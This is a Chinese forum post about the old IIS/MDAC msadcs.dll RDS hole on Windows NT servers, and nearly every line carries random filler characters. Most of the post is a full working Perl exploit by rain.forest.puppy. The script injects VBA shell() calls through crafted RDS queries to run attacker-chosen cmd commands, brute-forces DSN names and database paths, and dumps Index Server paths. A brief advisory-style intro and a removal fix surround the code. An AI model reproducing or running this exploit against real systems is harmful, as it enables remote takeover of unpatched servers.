社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 167341阅读
  • 1回复

IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) d(7NO;S8  
8o|P&q(v*  
涉及程序: Es.nHN^]%K  
Microsoft NT server 1fFj:p./l_  
J} TfRrf  
描述: y+U83a[L*  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 q[ d)e6  
_D,eyP9P  
详细: +xp]:h|  
如果你没有时间读详细内容的话,就删除: y-B=W]E  
c:\Program Files\Common Files\System\Msadc\msadcs.dll *C6D3y  
有关的安全问题就没有了。 51by  
~W03{9(Vp8  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 6|!NLwa  
{38\vX,I(w  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 XErUS80  
关于利用ODBC远程漏洞的描述,请参看: ?Elg?)os  
e1/sqXWo  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm n ~,t QV  
+ E5=$`  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 h*w6/ZL1  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp ? \m3~6y  
zO~9zlik  
这里不再论述。 >7b)y  
por/^=e{Y  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: qX#MV>1  
9+qOP>m   
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset dqc1 q:k?$  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! gR Nv-^  
*:hy Y!x  
M#,Q ^rH#  
#将下面这段保存为txt文件,然后: "perl -x 文件名" g "hJ{{<  
vl:J40Kfn  
#!perl OH6^GPF6  
# &@v<nO-  
# MSADC/RDS 'usage' (aka exploit) script  ?=Db@97  
# O#eZ<hN V  
# by rain.forest.puppy 9V 0}d2d  
# ?&X6:KJQ  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 0CAa^Q^w  
# beta test and find errors! SVWIEH0?  
$t/rOo9cV  
use Socket; use Getopt::Std; 9&Ne+MY^%  
getopts("e:vd:h:XR", \%args); d]wD[]  
?+2b(2&MXE  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; PmX2[7  
'#\1uXM1U?  
if (!defined $args{h} && !defined $args{R}) { h<6UC%'ac  
print qq~ U|@V 74  
Usage: msadc.pl -h <host> { -d <delay> -X -v } h7yqk4'Lq  
-h <host> = host you want to scan (ip or domain) _yH`t[  
-d <seconds> = delay between calls, default 1 second }-DE`c  
-X = dump Index Server path table, if available jqnCA<G~B-  
-v = verbose D'_Bz8H!p  
-e = external dictionary file for step 5 h|;qG)f^  
C~4PE>YtTv  
Or a -R will resume a command session %.HJK  
pz|'l:v^  
~; exit;} E JK0  
TNwK da+  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; p(JlvJjo  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} v;EQ, NL  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} <a^Oj LLU  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); BR5BJX  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} > m q,}!n  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } x/fX`y|(}*  
jd-glE,Y/  
if (!defined $args{R}){ $ret = &has_msadc; O4iC]5@  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 'UU\4M  
e}yX_Z'P<  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" Vw{*P2v)  
. "cmd /c "; ,IHb+K  
$in=<STDIN>; chomp $in; 0?DC00O  
$command="cmd /c " . $in ; EbY,N:LK  
';B#Gx  
if (defined $args{R}) {&load; exit;} ,&^3Z  
iw9Q18:I}  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; SA"p\}"  
&try_btcustmr; <|B1wa:|  
\nqkA{;B{  
print "\nStep 2: Trying to make our own DSN..."; p0:kz l4$  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; DKL@wr}8  
Z|lU8`'5  
print "\nStep 3: Trying known DSNs..."; s1N?/>lmB  
&known_dsn; t= #&fSR  
=EP13J  
print "\nStep 4: Trying known .mdbs..."; 9xI GV!  
&known_mdb; 23F/\2MSG  
&53]sFZ  
if (defined $args{e}){ OhZgcUqQ8  
print "\nStep 5: Trying dictionary of DSN names..."; 4u;9J*r4  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 7, } $u  
=uHnRY  
print "Sorry Charley...maybe next time?\n"; kOwMs<1J  
exit; friWW ^  
1c4/}3*  
############################################################################## DOS0;^f  
dUrElXbXd  
sub sendraw { # ripped and modded from whisker ||7x;2e  
sleep($delay); # it's a DoS on the server! At least on mine... &)d$t'7p  
my ($pstr)=@_; VosZJv=  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || f|7\DeY9U  
die("Socket problems\n"); <W8t|jt  
if(connect(S,pack "SnA4x8",2,80,$target)){ 4*n#yVb/  
select(S); $|=1; +n0r0:z0  
print $pstr; my @in=<S>; c_grPk2O4  
select(STDOUT); close(S); 796\jf$  
return @in; HSUI${<  
} else { die("Can't connect...\n"); }} 0oZsb\  
p9!"O  
############################################################################## Jzji&A~  
Rd \.:u  
sub make_header { # make the HTTP request c,MOv7{x_  
my $msadc=<<EOT ~/pzxo$  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 Qd_6)M-  
User-Agent: ACTIVEDATA 'NjzgZ~]P  
Host: $ip 7,qYV}  
Content-Length: $clen E51dV:l  
Connection: Keep-Alive }_/Hdmmx  
kl!wVLE  
ADCClientVersion:01.06 p@!nYPr.  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 Z%zj";C G  
$ i)bq6  
--!ADM!ROX!YOUR!WORLD! ^ 2GHe<Y  
Content-Type: application/x-varg MB^~%uZ2K  
Content-Length: $reqlen C&LBr|  
(/d5UIM{&  
EOT LsEXM-  
; $msadc=~s/\n/\r\n/g; r`y ezbG  
return $msadc;} 1d"Z>k:mn  
XgN` 7!Z  
############################################################################## h+p*=|j`  
u@'0Vk0zGH  
sub make_req { # make the RDS request :NHH Dl  
my ($switch, $p1, $p2)=@_; K5ZC:Ks  
my $req=""; my $t1, $t2, $query, $dsn; l:0s2  
[v7^i_d  
if ($switch==1){ # this is the btcustmr.mdb query $E<Esf$  
$query="Select * from Customers where City=" . make_shell(); fqX"Lus `=  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . y.5/?{GL  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 00I}o%akO  
Ars687WB  
elsif ($switch==2){ # this is general make table query s4Sd>D 7  
$query="create table AZZ (B int, C varchar(10))"; KH)D 08  
$dsn="$p1";} oVA?J%EK  
OMhef,,H  
elsif ($switch==3){ # this is general exploit table query h^,8rd  
$query="select * from AZZ where C=" . make_shell(); 1wzqGmjmt  
$dsn="$p1";} 1_fZm+oW!  
_It,%<3  
elsif ($switch==4){ # attempt to hork file info from index server _\Q^x)w6  
$query="select path from scope()"; t"hYcnC  
$dsn="Provider=MSIDXS;";} }I|u'#n_  
3 &u_A?;  
elsif ($switch==5){ # bad query _{t9 x\=  
$query="select"; ]-oJ[5cQ0v  
$dsn="$p1";} mK+IEZV<3  
{FRAv(,\  
$t1= make_unicode($query); 2" |2a@  
$t2= make_unicode($dsn); p.ANVA@:  
$req = "\x02\x00\x03\x00"; !CX t*/~  
$req.= "\x08\x00" . pack ("S1", length($t1)); 9TF f8'?d  
$req.= "\x00\x00" . $t1 ; T2}FYVj?!g  
$req.= "\x08\x00" . pack ("S1", length($t2)); S6}@I ,Q  
$req.= "\x00\x00" . $t2 ; u p.Q>28r  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; l Z#o+d2Y  
return $req;} /V3=KY`_J  
F:*W5xX  
############################################################################## WLF0US'  
8^Hn"v  
sub make_shell { # this makes the shell() statement V fv@7@q  
return "'|shell(\"$command\")|'";} G+B~Ix-  
M02uO`Y9  
############################################################################## a#mNE*Dg  
F'g Vzf  
sub make_unicode { # quick little function to convert to unicode ]\/tVn.'  
my ($in)=@_; my $out; ]| N3eu  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } ^~{$wVGa  
return $out;} a+hd(JX0~  
+k dT(7  
############################################################################## (P&4d~) m  
rl9. ]~  
sub rdo_success { # checks for RDO return success (this is kludge) g{W;I_P^9  
my (@in) = @_; my $base=content_start(@in); x~.:64  
if($in[$base]=~/multipart\/mixed/){ R@Gq)P9?  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} &] \X]p  
return 0;} u0P)7~%  
T+N|R  
############################################################################## [M.f-x:  
: ^ 8  
sub make_dsn { # this makes a DSN for us (`SRJ$~f  
my @drives=("c","d","e","f"); qo<&J f  
print "\nMaking DSN: "; *x)Ozfe  
foreach $drive (@drives) { UzXE_ S  
print "$drive: "; &/Ro lIHF  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . 2X:4CC%5  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" gp$Ucfu'  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); 2o>)7^9|#<  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 83;NIE;  
return 0 if $2 eq "404"; # not found/doesn't exist !LkW zn3  
if($2 eq "200") { PW3GL3+  
foreach $line (@results) { ypJ".  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} p>_;^&>&  
} return 0;} S1D@vnZ3O\  
 8q1wHZ  
############################################################################## Vi4~`;|&b+  
SP|<Tny  
sub verify_exists { hFiIW77 s2  
my ($page)=@_; .uNQBBNv  
my @results=sendraw("GET $page HTTP/1.0\n\n"); G_>#Js  
return $results[0];} _+ .\@{c  
)'*5R<#  
############################################################################## 9-]i.y  
DGevE~  
sub try_btcustmr { ,f1q)Qf  
my @drives=("c","d","e","f"); ^$&k5e/}C  
my @dirs=("winnt","winnt35","winnt351","win","windows"); rDm'Z>nTf  
=]-j;#'&  
foreach $dir (@dirs) { 6a;v&5  
print "$dir -> "; # fun status so you can see progress nFe%vu8a  
foreach $drive (@drives) { N}\[Gr  
print "$drive: "; # ditto q>w)"Dd  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; cBo{/Tn:  
$reqlenlen=length( "$reqlen" ); }K8/-d6  
$clen= 206 + $reqlenlen + $reqlen; wvrrMGU)a  
# O4gg  
my @results=sendraw(make_header() . make_req(1,$drive,$dir));  JHf  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} *D'$"@w3  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} q~o,WZG  
+za8=`2o  
############################################################################## XQ4G)  
S1/`th  
sub odbc_error { w[6J `   
my (@in)=@_; my $base; : Sq?a0!S  
my $base = content_start(@in); 0%) i<a!_Z  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this ~4?9a(>3  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; V138d?Mm  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ?|:BuHkT  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; O@?k T;B  
return $in[$base+4].$in[$base+5].$in[$base+6];}  BUwONF  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; PQ@L+],C  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . kNqH zo  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} -{`@=U  
|Yq$s U  
############################################################################## [!%![E  
`b c;]@"  
sub verbose { Fq9Q+RNMZL  
my ($in)=@_; a,78l@d(  
return if !$verbose; (%O@r!{  
print STDOUT "\n$in\n";} l3nrEk  
D1nq2GwS  
############################################################################## w,R[C\#J  
!?^b[ nC%  
sub save { 2>*%q%81  
my ($p1, $p2, $p3, $p4)=@_; e[Abp~@M1  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; H5D*|42  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; -48vJR*tC  
close OUT;} CR2_;x:0  
g@\fZTO  
##############################################################################  ^xPmlS;X  
Tr^nkD{  
sub load { k1VT /u  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; :8A!HI}m{  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); ~q&pF"va8  
@p=<IN>; close(IN); .'a&3 3J  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); !45.puL0  
$target= inet_aton($ip) || die("inet_aton problems"); -R{V-   
print "Resuming to $ip ..."; y1=N F  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; b,KcBQ.  
if($p[1]==1) { * !^<m0  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; X*,Kb(3   
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; =!m}xdTP  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); -gQCn>"  
if (rdo_success(@results)){print "Success!\n";} vky.^  
else { print "failed\n"; verbose(odbc_error(@results));}} A{B/lX)  
elsif ($p[1]==3){ XNgDf3T  
if(run_query("$p[3]")){ w>b-} t  
print "Success!\n";} else { print "failed\n"; }} JJRK7\~$  
elsif ($p[1]==4){ #lU9yv  
if(run_query($drvst . "$p[3]")){ }-~T<egF  
print "Success!\n"; } else { print "failed\n"; }} LL$_zK{  
exit;} Ged[#Q  
R-^96fFBy  
############################################################################## r\;ut4wy  
YIR R=qpn  
sub create_table { sl*5Y#,|1  
my ($in)=@_; O0>A+o[1F  
$reqlen=length( make_req(2,$in,"") ) - 28; xAggn  
$reqlenlen=length( "$reqlen" ); @]bPVG?d  
$clen= 206 + $reqlenlen + $reqlen; g:0#u;j^7  
my @results=sendraw(make_header() . make_req(2,$in,"")); _j_x1.l  
return 1 if rdo_success(@results); ' H7x L  
my $temp= odbc_error(@results); verbose($temp); d,$d~alY  
return 1 if $temp=~/Table 'AZZ' already exists/; ,.gQ^^+=  
return 0;} 'EFyIVezg9  
} G<rt  
############################################################################## ?aW^+3i  
<LRey%{q  
sub known_dsn { WMMO5_M z  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go pKS {6P  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", mXUYQ 82  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", @Tfl>/%  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); B^%1Rpcn  
-+t]15  
foreach $dSn (@dsns) { +/D>|loRC  
print "."; >3u ]OSb  
next if (!is_access("DSN=$dSn")); Dz./w  
if(create_table("DSN=$dSn")){ TE )gVE]  
print "$dSn successful\n"; `mT$s,:h  
if(run_query("DSN=$dSn")){ s}j1"@  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { _bD/D!|  
print "Something's borked. Use verbose next time\n";}}} print "\n";} ~afg)[(  
q$G,KRy/  
############################################################################## jgS%1/&  
]59i>  
sub is_access { c]B$i*t  
my ($in)=@_; -YD+(c`l  
$reqlen=length( make_req(5,$in,"") ) - 28; lO:. OZu  
$reqlenlen=length( "$reqlen" ); Z0De!?ALV\  
$clen= 206 + $reqlenlen + $reqlen; 2DD:~Tbi  
my @results=sendraw(make_header() . make_req(5,$in,"")); 7hy&-<  
my $temp= odbc_error(@results); rxO2QQ%V  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); fSDi- I  
return 0;} ~:km]?lz0  
SE7WF18A  
############################################################################## ASPy  
h d~$WV0#  
sub run_query { , *qCf@$I  
my ($in)=@_; +\Q?w?DE|  
$reqlen=length( make_req(3,$in,"") ) - 28; -*2Mf Mh  
$reqlenlen=length( "$reqlen" ); &_5tqh  
$clen= 206 + $reqlenlen + $reqlen; c#N<"cy>  
my @results=sendraw(make_header() . make_req(3,$in,"")); _lW+>xQ  
return 1 if rdo_success(@results); !EQ@#qW/  
my $temp= odbc_error(@results); verbose($temp); y0~Ia:y  
return 0;} #"fJa:IYG7  
ob_I]~^I?|  
############################################################################## fIF<g@s  
r}yG0c,  
sub known_mdb { %r)avI  
my @drives=("c","d","e","f","g"); fFjH "2WD  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Il.Ed-&62  
my $dir, $drive, $mdb; /m _kn  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; j]0^y}5f+s  
-G,^1AL>  
# this is sparse, because I don't know of many .}')f;jH5<  
my @sysmdbs=( "\\catroot\\icatalog.mdb", !se0F.K  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", W0jZOP5_.$  
"\\system32\\certmdb.mdb", [#YE^[*qK  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% H&b3{yOa  
kqG0%WtQ  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", .yENM[-bQ  
"\\cfusion\\cfapps\\forums\\forums_.mdb", G#Ou[*O'  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", t?nX=i*~]  
"\\cfusion\\cfapps\\security\\realm_.mdb", |lH;Fq{\  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", !QmzrX}h  
"\\cfusion\\database\\cfexamples.mdb", @5) 8L/[l  
"\\cfusion\\database\\cfsnippets.mdb", xyr+_k-x&q  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", $N2SfyX7  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 1xf=_F0`&  
"\\cfusion\\brighttiger\\database\\cleam.mdb", \n0Oez0z!B  
"\\cfusion\\database\\smpolicy.mdb", A~nf#(!^]  
"\\cfusion\\database\cypress.mdb", x( mE<UQN  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", NvjJ b-u  
"\\website\\cgi-win\\dbsample.mdb", ?t@v&s  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", gqib:q ;r  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" *b}>cn)<v  
); #these are just (yo;NKq,@  
foreach $drive (@drives) { dMx4ykrR  
foreach $dir (@dirs){ 4;`Bj:.  
foreach $mdb (@sysmdbs) { j\RpO'+}  
print "."; Pag63njg?  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ a'\By?V]  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; ')S;[=v  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ vhr+g 'tf  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; }G$]LWgQx  
} else { print "Something's borked. Use verbose next time\n"; }}}}} yz+, gLY  
~#\i!I;RY}  
foreach $drive (@drives) { "x'),  
foreach $mdb (@mdbs) { h  x6;YV  
print "."; b=a!j=-D  
if(create_table($drv . $drive . $dir . $mdb)){ :PbDU$x  
print "\n" . $drive . $dir . $mdb . " successful\n"; cD1o"bq  
if(run_query($drv . $drive . $dir . $mdb)){ &$`hQgi  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; {+zJI-XN/  
} else { print "Something's borked. Use verbose next time\n"; }}}} *5$&`&,  
} AgF5-tz6x  
o-7>eE}+  
############################################################################## !\[+99F#  
~`Qko-a&  
sub hork_idx { bt+,0\Vg5  
print "\nAttempting to dump Index Server tables...\n"; _ nT{g  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 3-40'$lE  
$reqlen=length( make_req(4,"","") ) - 28; +w| 9x.&W  
$reqlenlen=length( "$reqlen" ); V's:>;  
$clen= 206 + $reqlenlen + $reqlen; XC15K@K  
my @results=sendraw2(make_header() . make_req(4,"","")); FDFH,J`_  
if (rdo_success(@results)){ puJ#w1!x`  
my $max=@results; my $c; my %d; !/K8xD$  
for($c=19; $c<$max; $c++){ :<#`_K~'  
$results[$c]=~s/\x00//g; gM;}#>6  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; ~$O1`IT  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 09M;}4ev&7  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; o7&4G$FX~  
$d{"$1$2"}="";} Bd bJ< Is  
foreach $c (keys %d){ print "$c\n"; } FqA3  {  
} else {print "Index server doesn't seem to be installed.\n"; }} D y6$J3 r  
N$?cX(|7  
############################################################################## ( g :p5Rl  
M/V(5IoP (  
sub dsn_dict { $mco0 %$  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); zvv:dC/p<  
while(<IN>){ )He#K+[}^4  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; {gf>*  
next if (!is_access("DSN=$dSn")); b'>8ZIY  
if(create_table("DSN=$dSn")){ %IpSK 0<Sp  
print "$dSn successful\n"; c-XLI  
if(run_query("DSN=$dSn")){ Tc ZnmN  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { E(+T*  
print "Something's borked. Use verbose next time\n";}}} )&W|QH=AI  
print "\n"; close(IN);} ^>~dlS  
!^U6Z@&/R  
############################################################################## {j(4m  
X7aXxPCq1  
sub sendraw2 { # ripped and modded from whisker 6(56,i<#/  
sleep($delay); # it's a DoS on the server! At least on mine... OsW"CF2  
my ($pstr)=@_; TW`mxj_J2  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || g jG2  
die("Socket problems\n"); mp `PE=  
if(connect(S,pack "SnA4x8",2,80,$target)){ O{KB0"s>i  
print "Connected. Getting data"; D#sf i,O  
open(OUT,">raw.out"); my @in; ~] =?b)B  
select(S); $|=1; print $pstr; ( (3t:  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} t \5c@j p  
close(OUT); select(STDOUT); close(S); return @in; s*,cF6  
} else { die("Can't connect...\n"); }} PN F4>)  
bLG]Wa  
############################################################################## Wb=Jj 9;  
z<C[nR$N  
sub content_start { # this will take in the server headers ]H2R  
my (@in)=@_; my $c; =xEk7'W6k  
for ($c=1;$c<500;$c++) { 5S/>l_od$2  
if($in[$c] =~/^\x0d\x0a/){ G_oX5:J*  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } fDuwgY0  
else { return $c+1; }}} q G ;-o)h  
return -1;} # it should never get here actually \v`#|lT$  
q&M:17+:Q  
############################################################################## K_-MkY?+  
=mrY/ :V  
sub funky { LZWS^77  
my (@in)=@_; my $error=odbc_error(@in); |Mg }2!/L  
if($error=~/ADO could not find the specified provider/){ 6zYaA  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; O.:I,D&]  
exit;} D?u`  
if($error=~/A Handler is required/){ SfI*bJo>V  
print "\nServer has custom handler filters (they most likely are patched)\n"; 9G:TW|)L[Q  
exit;} 'XfgBJF=  
if($error=~/specified Handler has denied Access/){ Md9l+[@  
print "\nServer has custom handler filters (they most likely are patched)\n"; CV^0.  
exit;}} ]xq::a{Oy  
(DJvi6\H  
############################################################################## ' Js?N  
eOrYa3hQ  
sub has_msadc { QP\yaPE  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); \.>.c g  
my $base=content_start(@results); g37q/nEv  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); :::>ro*R  
return 0;} _'JRo%{xGX  
CX+9R3pa  
######################## g3rRhS  
ltEF:{mLe#  
{'IFWD.5  
解决方案: {% F`%_{"  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll npj/7nZj  
2、移除web 目录: /msadc
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 *]!l%Uf%  
uu3M{*}  
拿出来充数 哈哈
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八